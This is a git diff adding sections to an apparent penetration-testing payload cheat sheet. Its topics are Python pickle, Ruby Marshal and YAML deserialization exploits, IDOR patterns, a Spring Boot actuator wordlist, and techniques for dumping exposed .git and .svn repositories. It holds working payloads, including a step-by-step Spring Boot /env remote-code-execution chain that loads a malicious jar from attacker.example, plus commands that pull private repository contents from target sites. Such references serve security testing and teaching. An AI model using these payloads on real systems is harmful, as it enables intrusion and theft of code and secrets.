* [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41)
|
||||||
|
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
||||||
|
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
||||||
51
Insecure Deserialization/Python.md
Normal file
51
Insecure Deserialization/Python.md
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
# Python Deserialization
|
||||||
|
|
||||||
|
## Pickle
|
||||||
|
|
||||||
|
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
||||||
|
:warning: `import cPickle` will only work on Python 2
|
||||||
|
|
||||||
|
```python
|
||||||
|
import cPickle
|
||||||
|
from base64 import b64encode, b64decode
|
||||||
|
|
||||||
|
class User:
|
||||||
|
def __init__(self):
|
||||||
|
self.username = "anonymous"
|
||||||
|
self.password = "anonymous"
|
||||||
|
self.rank = "guest"
|
||||||
|
|
||||||
|
h = User()
|
||||||
|
auth_token = b64encode(cPickle.dumps(h))
|
||||||
|
print("Your Auth Token : {}").format(auth_token)
|
||||||
|
```
|
||||||
|
|
||||||
|
The vulnerability is introduced when a token is loaded from an user input.
|
||||||
|
|
||||||
|
```python
|
||||||
|
new_token = raw_input("New Auth Token : ")
|
||||||
|
token = cPickle.loads(b64decode(new_token))
|
||||||
|
print "Welcome {}".format(token.username)
|
||||||
|
```
|
||||||
|
|
||||||
|
Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.
|
||||||
|
|
||||||
|
> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import cPickle, os
|
||||||
|
from base64 import b64encode, b64decode
|
||||||
|
|
||||||
|
class Evil(object):
|
||||||
|
def __reduce__(self):
|
||||||
|
return (os.system,("whoami",))
|
||||||
|
|
||||||
|
e = Evil()
|
||||||
|
evil_token = b64encode(cPickle.dumps(e))
|
||||||
|
print("Your Evil Token : {}").format(evil_token)
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
||||||
|
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)
|
||||||
@@ -7,10 +7,12 @@ Check the following sub-sections, located in other files :
|
|||||||
* [Java deserialization : ysoserial, ...](Java.md)
|
* [Java deserialization : ysoserial, ...](Java.md)
|
||||||
* [PHP (Object injection) : phpggc, ...](PHP.md)
|
* [PHP (Object injection) : phpggc, ...](PHP.md)
|
||||||
* [Ruby : universal rce gadget, ...](Ruby.md)
|
* [Ruby : universal rce gadget, ...](Ruby.md)
|
||||||
|
* [Python : pickle, ...](Python.md)
|
||||||
|
|
||||||
## Thanks to
|
## References
|
||||||
|
|
||||||
* [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
* [Github - ysoserial](https://github.com/frohoff/ysoserial)
|
||||||
|
* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net)
|
||||||
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
||||||
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||||
@@ -19,4 +21,11 @@ Check the following sub-sections, located in other files :
|
|||||||
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
||||||
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
||||||
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||||
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
||||||
|
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
|
||||||
|
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
|
||||||
|
* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
|
||||||
|
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
|
||||||
|
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
|
||||||
|
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
|
||||||
|
* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
||||||
@@ -1,12 +1,37 @@
|
|||||||
# Ruby Deserialization
|
# Ruby Deserialization
|
||||||
|
|
||||||
|
## Marshal.load
|
||||||
|
|
||||||
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
||||||
|
|
||||||
```ruby
|
```ruby
|
||||||
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
||||||
```
|
```
|
||||||
|
|
||||||
## Thanks
|
## Yaml.load
|
||||||
|
|
||||||
|
Vulnerable code
|
||||||
|
```ruby
|
||||||
|
require "yaml"
|
||||||
|
YAML.load(File.read("p.yml"))
|
||||||
|
```
|
||||||
|
|
||||||
|
Exploitation code
|
||||||
|
```ruby
|
||||||
|
--- !ruby/object:Gem::Requirement
|
||||||
|
requirements:
|
||||||
|
!ruby/object:Gem::DependencyList
|
||||||
|
specs:
|
||||||
|
- !ruby/object:Gem::Source::SpecificFile
|
||||||
|
spec: &1 !ruby/object:Gem::StubSpecification
|
||||||
|
loaded_from: "|id 1>&2"
|
||||||
|
- !ruby/object:Gem::Source::SpecificFile
|
||||||
|
spec:
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
|
||||||
|
- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
|
||||||
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
|
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
|
||||||
BIN
Insecure Direct Object References/Images/idor.png
Normal file
BIN
Insecure Direct Object References/Images/idor.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 175 KiB |
59
Insecure Direct Object References/README.md
Normal file
59
Insecure Direct Object References/README.md
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
# Insecure Direct Object References
|
||||||
|
|
||||||
|
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Exploit](#exploit)
|
||||||
|
* [Examples](#examples)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- Burp Suite plugin Authz
|
||||||
|
- Burp Suite plugin AuthMatrix
|
||||||
|
- Burp Suite plugin Authorize
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
The value of a parameter is used directly to retrieve a database record.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://foo.bar/somepage?invoice=12345
|
||||||
|
```
|
||||||
|
|
||||||
|
The value of a parameter is used directly to perform an operation in the system
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://foo.bar/changepassword?user=someuser
|
||||||
|
```
|
||||||
|
|
||||||
|
The value of a parameter is used directly to retrieve a file system resource
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://foo.bar/showImage?img=img00011
|
||||||
|
```
|
||||||
|
|
||||||
|
The value of a parameter is used directly to access application functionality
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://foo.bar/accessPage?menuitem=12
|
||||||
|
```
|
||||||
|
|
||||||
|
## Examples
|
||||||
|
|
||||||
|
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
||||||
|
* [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
|
||||||
|
* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
|
||||||
|
* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
|
||||||
|
* [IDOR tweet as any user](http://kedrisec.com/twitter-publish-by-any-user/) by kedrisec
|
||||||
|
* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
|
||||||
|
* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
|
||||||
|
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
auditevents
|
||||||
|
autoconfig
|
||||||
|
beans
|
||||||
|
caches
|
||||||
|
conditions
|
||||||
|
configprops
|
||||||
|
dump
|
||||||
|
env
|
||||||
|
flyway
|
||||||
|
health
|
||||||
|
heapdump
|
||||||
|
httptrace
|
||||||
|
info
|
||||||
|
integrationgraph
|
||||||
|
jolokia
|
||||||
|
logfile
|
||||||
|
loggers
|
||||||
|
liquibase
|
||||||
|
metrics
|
||||||
|
mappings
|
||||||
|
prometheus
|
||||||
|
scheduledtasks
|
||||||
|
sessions
|
||||||
|
shutdown
|
||||||
|
threaddump
|
||||||
|
trace
|
||||||
|
actuator/auditevents
|
||||||
|
actuator/autoconfig
|
||||||
|
actuator/beans
|
||||||
|
actuator/caches
|
||||||
|
actuator/conditions
|
||||||
|
actuator/configprops
|
||||||
|
actuator/dump
|
||||||
|
actuator/env
|
||||||
|
actuator/flyway
|
||||||
|
actuator/health
|
||||||
|
actuator/heapdump
|
||||||
|
actuator/httptrace
|
||||||
|
actuator/info
|
||||||
|
actuator/integrationgraph
|
||||||
|
actuator/jolokia
|
||||||
|
actuator/logfile
|
||||||
|
actuator/loggers
|
||||||
|
actuator/liquibase
|
||||||
|
actuator/metrics
|
||||||
|
actuator/mappings
|
||||||
|
actuator/prometheus
|
||||||
|
actuator/scheduledtasks
|
||||||
|
actuator/sessions
|
||||||
|
actuator/shutdown
|
||||||
|
actuator/threaddump
|
||||||
|
actuator/trace
|
||||||
94
Insecure Management Interface/README.md
Normal file
94
Insecure Management Interface/README.md
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
# Insecure management interface
|
||||||
|
|
||||||
|
## Springboot-Actuator
|
||||||
|
|
||||||
|
Actuator endpoints let you monitor and interact with your application.
|
||||||
|
Spring Boot includes a number of built-in endpoints and lets you add your own.
|
||||||
|
For example, the `/health` endpoint provides basic application health information.
|
||||||
|
|
||||||
|
Some of them contains sensitive info such as :
|
||||||
|
|
||||||
|
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
|
||||||
|
- `/env` - Displays the current environment properties (from Spring’s ConfigurableEnvironment).
|
||||||
|
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
|
||||||
|
- `/dump` - Displays a dump of threads (including a stack trace).
|
||||||
|
- `/logfile` - Outputs the contents of the log file.
|
||||||
|
- `/mappings` - Shows all of the MVC controller mappings.
|
||||||
|
|
||||||
|
These endpoints are enabled by default in Springboot 1.X.
|
||||||
|
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
|
||||||
|
|
||||||
|
Since Springboot 2.X only `/health` and `/info` are enabled by default.
|
||||||
|
|
||||||
|
### Remote Code Execution via `/env`
|
||||||
|
|
||||||
|
Spring is able to load external configurations in the YAML format.
|
||||||
|
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
|
||||||
|
In other words, an attacker can gain remote code execution by loading a malicious config file.
|
||||||
|
|
||||||
|
#### Steps
|
||||||
|
|
||||||
|
1. Generate a payload of SnakeYAML deserialization gadget.
|
||||||
|
|
||||||
|
- Build malicious jar
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/artsploit/yaml-payload.git
|
||||||
|
cd yaml-payload
|
||||||
|
# Edit the payload before executing the last commands (see below)
|
||||||
|
javac src/artsploit/AwesomeScriptEngineFactory.java
|
||||||
|
jar -cvf yaml-payload.jar -C src/ .
|
||||||
|
```
|
||||||
|
|
||||||
|
- Edit src/artsploit/AwesomeScriptEngineFactory.java
|
||||||
|
|
||||||
|
```java
|
||||||
|
public AwesomeScriptEngineFactory() {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- Create a malicious yaml config (yaml-payload.yml)
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
!!javax.script.ScriptEngineManager [
|
||||||
|
!!java.net.URLClassLoader [[
|
||||||
|
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
|
||||||
|
]]
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
2. Host the malicious files on your server.
|
||||||
|
|
||||||
|
- yaml-payload.jar
|
||||||
|
- yaml-payload.yml
|
||||||
|
|
||||||
|
|
||||||
|
3. Change `spring.cloud.bootstrap.location` to your server.
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /env HTTP/1.1
|
||||||
|
Host: victim.example:8090
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 59
|
||||||
|
|
||||||
|
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Reload the configuration.
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /refresh HTTP/1.1
|
||||||
|
Host: victim.example:8090
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 0
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
||||||
|
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||||
307
Insecure Source Code Management/README.md
Normal file
307
Insecure Source Code Management/README.md
Normal file
@@ -0,0 +1,307 @@
|
|||||||
|
# Insecure source code management
|
||||||
|
|
||||||
|
* [Git](#git)
|
||||||
|
+ [Example](#example)
|
||||||
|
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
|
||||||
|
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
|
||||||
|
+ [Tools](#tools)
|
||||||
|
- [Automatic recovery](#automatic-recovery)
|
||||||
|
* [git-dumper.py](#git-dumperpy)
|
||||||
|
* [diggit.py](#diggitpy)
|
||||||
|
* [GoGitDumper](#gogitdumper)
|
||||||
|
* [rip-git](#rip-git)
|
||||||
|
* [GitHack](#githack)
|
||||||
|
* [GitTools](#gittools)
|
||||||
|
- [Harvesting secrets](#harvesting-secrets)
|
||||||
|
* [trufflehog](#trufflehog)
|
||||||
|
* [Yar](#yar)
|
||||||
|
* [Gitrob](#gitrob)
|
||||||
|
* [Gitleaks](#gitleaks)
|
||||||
|
* [Subversion](#subversion)
|
||||||
|
+ [Example (Wordpress)](#example-wordpress)
|
||||||
|
+ [Tools](#tools-1)
|
||||||
|
- [svn-extractor](#svn-extractor)
|
||||||
|
* [Bazaar](#bazaar)
|
||||||
|
+ [Tools](#tools-2)
|
||||||
|
- [rip-bzr.pl](#rip-bzrpl)
|
||||||
|
- [bzr_dumper](#bzr_dumper)
|
||||||
|
* [Mercurial](#mercurial)
|
||||||
|
+ [Tools](#tools-3)
|
||||||
|
- [rip-hg.pl](#rip-hgpl)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Git
|
||||||
|
|
||||||
|
The following examples will create either a copy of the .git or a copy of the current commit.
|
||||||
|
|
||||||
|
Check for the following files, if they exist you can extract the .git folder.
|
||||||
|
|
||||||
|
- .git/config
|
||||||
|
- .git/HEAD
|
||||||
|
- .git/logs/HEAD
|
||||||
|
|
||||||
|
### Example
|
||||||
|
|
||||||
|
#### Recovering file contents from .git/logs/HEAD
|
||||||
|
|
||||||
|
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||||
|
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||||
|
```powershell
|
||||||
|
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
||||||
|
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
||||||
|
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
||||||
|
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
||||||
|
```
|
||||||
|
3. Access the commit using the hash
|
||||||
|
```powershell
|
||||||
|
# create an empty .git repository
|
||||||
|
git init test
|
||||||
|
cd test/.git
|
||||||
|
|
||||||
|
# download the file
|
||||||
|
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
||||||
|
|
||||||
|
# first byte for subdirectory, remaining bytes for filename
|
||||||
|
mkdir .git/object/26
|
||||||
|
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
||||||
|
|
||||||
|
# display the file
|
||||||
|
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
|
||||||
|
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
||||||
|
author Michael <michael@easyctf.com> 1489390329 +0000
|
||||||
|
committer Michael <michael@easyctf.com> 1489390329 +0000
|
||||||
|
Initial.
|
||||||
|
```
|
||||||
|
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
```powershell
|
||||||
|
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
mkdir .git/object/32
|
||||||
|
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
||||||
|
|
||||||
|
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
|
||||||
|
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
|
||||||
|
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
|
||||||
|
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
||||||
|
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
||||||
|
```
|
||||||
|
5. Read the data (flag.txt)
|
||||||
|
```powershell
|
||||||
|
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||||
|
mkdir .git/object/cb
|
||||||
|
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
||||||
|
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Recovering file contents from .git/index
|
||||||
|
|
||||||
|
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
pip3 install gin
|
||||||
|
gin ~/git-repo/.git/index
|
||||||
|
```
|
||||||
|
|
||||||
|
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ gin .git/index | egrep -e "name|sha1"
|
||||||
|
name = AWS Amazon Bucket S3/README.md
|
||||||
|
sha1 = 862a3e58d138d6809405aa062249487bee074b98
|
||||||
|
|
||||||
|
name = CRLF injection/README.md
|
||||||
|
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||||
|
```
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
#### Automatic recovery
|
||||||
|
|
||||||
|
##### git-dumper.py
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/arthaud/git-dumper
|
||||||
|
pip install -r requirements.txt
|
||||||
|
./git-dumper.py http://web.site/.git ~/website
|
||||||
|
```
|
||||||
|
|
||||||
|
##### diggit.py
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
|
||||||
|
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
|
||||||
|
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
||||||
|
|
||||||
|
-u is remote path, where .git folder exists
|
||||||
|
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
|
||||||
|
-o is a hash of particular Git object to download
|
||||||
|
```
|
||||||
|
|
||||||
|
##### GoGitDumper
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/c-sto/gogitdumper
|
||||||
|
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
|
||||||
|
git log
|
||||||
|
git checkout
|
||||||
|
```
|
||||||
|
|
||||||
|
##### rip-git
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/kost/dvcs-ripper
|
||||||
|
perl rip-git.pl -v -u "http://web.site/.git/"
|
||||||
|
|
||||||
|
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
|
||||||
|
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||||
|
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
||||||
|
author Michael <michael@easyctf.com> 1489389105 +0000
|
||||||
|
committer Michael <michael@easyctf.com> 1489389105 +0000
|
||||||
|
|
||||||
|
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||||
|
```
|
||||||
|
|
||||||
|
##### GitHack
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/lijiejie/GitHack
|
||||||
|
GitHack.py http://web.site/.git/
|
||||||
|
```
|
||||||
|
|
||||||
|
##### GitTools
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/internetwache/GitTools
|
||||||
|
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
|
||||||
|
git checkout -- .
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Harvesting secrets
|
||||||
|
|
||||||
|
##### trufflehog
|
||||||
|
|
||||||
|
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
pip install truffleHog # https://github.com/dxa4481/truffleHog
|
||||||
|
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Yar
|
||||||
|
|
||||||
|
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/nielsing/yar # https://github.com/nielsing/yar
|
||||||
|
yar -o orgname --both
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Gitrob
|
||||||
|
|
||||||
|
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
|
||||||
|
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
|
||||||
|
gitrob [options] target [target2] ... [targetN]
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Gitleaks
|
||||||
|
|
||||||
|
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Run gitleaks against a public repository
|
||||||
|
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
||||||
|
|
||||||
|
# Run gitleaks against a local repository already cloned into /tmp/
|
||||||
|
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
||||||
|
|
||||||
|
# Run gitleaks against a specific Github Pull request
|
||||||
|
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
|
||||||
|
|
||||||
|
or
|
||||||
|
|
||||||
|
go get -u github.com/zricethezav/gitleaks
|
||||||
|
```
|
||||||
|
|
||||||
|
## Subversion
|
||||||
|
|
||||||
|
### Example (Wordpress)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||||
|
```
|
||||||
|
|
||||||
|
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
||||||
|
```powershell
|
||||||
|
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
||||||
|
```
|
||||||
|
2. Download interesting files
|
||||||
|
* remove \$sha1\$ prefix
|
||||||
|
* add .svn-base postfix
|
||||||
|
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
||||||
|
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
#### svn-extractor
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/anantshri/svn-extractor.git
|
||||||
|
python svn-extractor.py –url "url with .svn available"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Bazaar
|
